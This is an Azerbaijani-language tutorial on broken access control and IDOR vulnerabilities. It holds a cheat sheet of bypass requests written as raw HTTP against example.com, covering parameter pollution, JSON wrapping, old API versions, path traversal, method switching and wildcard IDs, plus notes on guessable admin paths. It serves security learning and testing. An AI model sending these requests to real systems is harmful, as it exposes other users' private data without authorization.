Broken Access Control
Access Control nədir?
Giriş nəzarəti kiminsə və ya nəyinsə bəzi funksiyaları yerinə yetirmək və ya resurslara daxil olmaq icazələrinə malik olduğunu tənzimləyən bir metoddur. Web tətbiqləri mövzusunda girişə nəzarət autentifikasiyadan və sessiyanın idarə edilməsindən asılıdır:
Autentifikasiya istifadəçinin dediyi şəxs olduğunu təsdiq edir.
Sessiyanın idarə edilməsi həmin istifadəçi tərəfindən növbəti hansı HTTP sorğularının edildiyini müəyyən edir.
Giriş nəzarəti istifadəçiyə yerinə yetirməyə çalışdığı hərəkəti yerinə yetirməyə icazə verilib-verilmədiyini müəyyən edir.
Broken Access Control ümumi haldır və çox vaxt kritik təhlükəsizlik zəifliyi yaradır. Girişə nəzarət vasitələrinin dizaynı və idarə edilməsi texniki icraya biznes, təşkilati və hüquqi məhdudiyyətləri tətbiq edən mürəkkəb və dinamik problemdir. Girişə nəzarət dizayn qərarları insanlar tərəfindən qəbul edilməlidir, belə ki, səhvlərin olma potensialı da həmçinin yüksəkdir.
Access Controlun növləri
Vertical Access Control
Bizim bir sistemimizin olduğunu təsəvvür edək. Və orada adi istifadəçilərin və root istifadəçisinin olduğunu düşünək. Root istifadəçisinin imtiyazları digərlərindən daha çox və daha yüksəkdir. Digər bir sözlə root istifadəçisiç adi istifadəçilərdən 1 pillə yuxarıda dayanıb. Buna görədə bu Vertical access control adlanır. Yəni şaquli icazə kontrolu.
Əgər sistemdə olan adi istifadəçilər admin hesabına keçid edə və həmçinin onun icra etdiyi funksiyaları da yerinə yetirə bilirsə burada Broken Vertical Access Control zəifliyi vardır. Çünkü düzgün qurulmuş sistemdə adi istifadəçilər root funksiyalarını yerinə yetirə bilməməlidirlər. Bu çox ciddi zəiflik və sistemdə açıqlıq kimi qiymətləndirilir.

Horizontal Access Control
Horizontal access controlda sən sistemdə olan öz səviyyəndə olan istifadəçilərin hesablarına və onların istifadə edə biləcəyi mənbələri istifadə edə bilirsən. Adındanda göründüyü kimi üfuqi səviyyədə olan bütün istifadəçilərin hesablarını ələ keçirə bilirsən. Buda web-də çox ciddi boşluq sayılır. Çünkü bu istifadəçi haqlarının və təhlükəsizliyin pozulmasına gətirib çıxarır.

Context-Dependent Access Control
Bu konteksti anlamaq üçün gəlin bir dənə online alış-veriş səhifəsi təsəvvür edək. İstifadəçilər buranı istifadə edərək yeni şeylər alır və səbətə əlavə edir. Sonda ödənişi edir və məhsulu alır. Hələ ki burada problem yoxdur.
Sonra istifadəçi aldığı məhsulun sayında və yaxud məbləğində bəzi dəyişikliklər edir. O 1 məhsulun qiymətinə çox sayda həmin məhsuldan ala bilir. Buna səbəb isə Context-Dependent Access Controlun düzgün formada konfigurasiya olunmamasıdır. Bu zəiflik daha çox online satış səhifələrində rast gəlinir və ciddi açıq hesab olunur.

İnsecure Direct Object Reference (lDOR)
IDOR nədir?
IDOR, Qorunmayan Birbaşa Obyekt Referansı mənasını verir, istifadəçinin sistemdə mövcud olan hər hansı digər istifadəçinin məlumatlarına daxil ola və dəyişikliklər edə bildiyi bir təhlükəsizlik zəifliyidir. IDOR tətbiqdə istifadəçi tərəfindən daxil edilən inputlara əsasən obyektlərə birbaşa giriş təmin edildikdə baş verən təhlükəsizlik zəifliyidir. Daha sadə dillə desək, bu o deməkdir ki, təcavüzkar məlumat və ya resurslara icazəsiz giriş əldə etmək üçün URL-lər və ya form sahələri kimi input parametrlərini manipulyasiya edə bilər. Bu boşluq, tətbiqin istifadəçi sorğularını düzgün şəkildə təsdiqləməməsi və ya icazə verməməsi, təcavüzkarlara nəzərdə tutulan məhdudiyyətləri keçməyə və həssas məlumatlara daxil olmağa imkan verəndə yaranır. İDOR hücumları riskini azaltmaq və tətbiqin ümumi təhlükəsizliyini artırmaq üçün güclü giriş yoxlamasının və düzgün giriş nəzarətinin həyata keçirilməsi çox vacibdir.
Bu zəiflik daha çox haralarda görülür:
Adətən onu API-lərdə tapmaq olar.
Unikal ID-lər istifadə edən HTTP sorğularında, məsələn user_id və ya id
Nümunələr:
Endpointlərə əlavə parametrlər əlavə edin, məsələn:
GET /api/v1/getuser HTTP/1.1
Host: example.com
...
Bypass etmək üçün bunu yoxlayın:
GET /api/v1/getuser?id=1234 HTTP/1.1
Host: example.com
...
HTTP Parametrinin qarışdırılması:
POST /api/get_profile HTTP/1.1
Host: example.com
...
user_id=hacker_id&user_id=victim_id
Endpointə .json əlavə edin:
GET /v2/GetData/1234 HTTP/1.1
Host: example.com
...
Bypass etmək üçün bunu yoxlayın:
GET /v2/GetData/1234.json HTTP/1.1
Host: example.com
...
Köhnə API versiyalarını yoxlayın:
POST /v2/GetData HTTP/1.1
Host: example.com
...
id=123
Bypass etmək üçün bunu yoxlayın:
POST /v1/GetData HTTP/1.1
Host: example.com
...
id=123
ID-ni mörtərizə içinə alın:
POST /api/get_profile HTTP/1.1
Host: example.com
...
{"user_id":111}
Bypass etmək üçün bunu yoxlayın:
POST /api/get_profile HTTP/1.1
Host: example.com
...
{"id":[111]}
ID-ni JSON mörtərizəsinin içinə alın:
POST /api/get_profile HTTP/1.1
Host: example.com
...
{"user_id":111}
Bypass etmək üçün bunu yoxlayın:
POST /api/get_profile HTTP/1.1
Host: example.com
...
{"user_id":{"user_id":111}}
JSON Parameterinin qarışdırılması:
POST /api/get_profile HTTP/1.1
Host: example.com
...
{"user_id":"hacker_id","user_id":"victim_id"}
ID md5, base64 və s. istifadə edərək kodlaşdırılıbsa, ID kodunu deşifrə etməyə cəhd edin:
GET /GetUser/dmljdGltQG1haWwuY29t HTTP/1.1
Host: example.com
...
dmljdGltQG1haWwuY29t => [email protected]
Veb sayt GraphQL-dən istifadə edirsə, GraphQL-dən istifadə edərək IDOR-u tapmağa çalışın
GET /graphql HTTP/1.1
Host: example.com
...
GET /graphql.php?query= HTTP/1.1
Host: example.com
...
MFLAC (Missing Function Level Access Control):
GET /admin/profile HTTP/1.1
Host: example.com
...
Bypass etmək üçün bunu yoxlayın:
GET /ADMIN/profile HTTP/1.1
Host: example.com
...
Uuid-i nömrə ilə dəyişdirməyə çalışın:
GET /file?id=90ri2-xozifke-29ikedaw0d HTTP/1.1
Host: example.com
...
Bypass etmək üçün bunu yoxlayın:
GET /file?id=302
Host: example.com
...
HTTP Methodunu dəyişin:
GET /api/v1/users/profile/111 HTTP/1.1
Host: example.com
...
Bypass etmək üçün bunu yoxlayın:
POST /api/v1/users/profile/111 HTTP/1.1
Host: example.com
...
Path traversal
GET /api/v1/users/profile/victim_id HTTP/1.1
Host: example.com
...
Bypass etmək üçün bunu yoxlayın:
GET /api/v1/users/profile/my_id/../victim_id HTTP/1.1
Host: example.com
...
Request formatını
Content-Type
dəyişin:
GET /api/v1/users/1 HTTP/1.1
Host: example.com
Content-type: application/xml
Bypass etmək üçün bunu yoxlayın:
GET /api/v1/users/2 HTTP/1.1
Host: example.com
Content-type: application/json
ID yerinə joker işarə göndərin:
GET /api/users/111 HTTP/1.1
Host: example.com
Bypass etmək üçün bunu yoxlayın:
GET /api/users/* HTTP/1.1
Host: example.com
GET /api/users/% HTTP/1.1
Host: example.com
GET /api/users/_ HTTP/1.1
Host: example.com
GET /api/users/. HTTP/1.1
Host: example.com
Admin səhifələrinə giriş
Admin paneli
Bəzi web səhifələrdə default login səhifələrindən istifadə etmək bu cür problemlərə gətirib çıxarır. Yeni bir web səhifə qurulduqda adminin giriş paneli "/admin" | "/administrator" | "web_admin" | "login_admin" tərzində olur.
Bu default dataların istifadə olunması özü çox ciddi fəsadlara gətirib çıxara bilər. Çünkü admin login page digər istifadəçilər tərəfindən asan təxmin olunan olmamalıdır. Və həmçinin o səhifəyə bir-başa giriş mümkün olmamalıdır. Belə bir hal varsa buda Broken access control zəifliyinə aid edilir.
robots.txt nədir və nə üçün istifadə olunur?
Böyük bir kitabxana kimi bir veb saytı düşünün və robots.txt faylı axtarış motorlarına kitabxananın hansı hissələrinə daxil olmağa icazə verildiyini və hansı hissələrə isə icazə verilmədiyini göstərən bir fayldır.
Veb sayt sahibləri axtarış motorlarının saytlarını necə indeksləməsinə nəzarət etmək üçün robots.txt faylından istifadə edirlər. Məsələn, onlar müəyyən səhifələri gizli saxlamaq və ya axtarış motorlarının saytın indeksləşdirilməsinə ehtiyac olmayan hissələrini taramasının qarşısını almaq istəyə bilərlər.
Sadə dillə desək, robots.txt vebsayt sahiblərinə axtarış motorlarının vebsaytlarını necə araşdırdığını və başa düşməsini idarə etməyə kömək edir, lazım gələrsə, bəzi sahələri gizli saxlamaqla düzgün məlumatın ictimaiyyətə təqdim olunmasını təmin edir.
Həmçinin çox indekslənmə olduqda sayt axtarış yerində ilk sıralarda yer alır. Buda saytın daha tez böyüməsinə və daha çox insanın qarşısına çıxmasına kömək edə bilər.
Last updated
Was this helpful?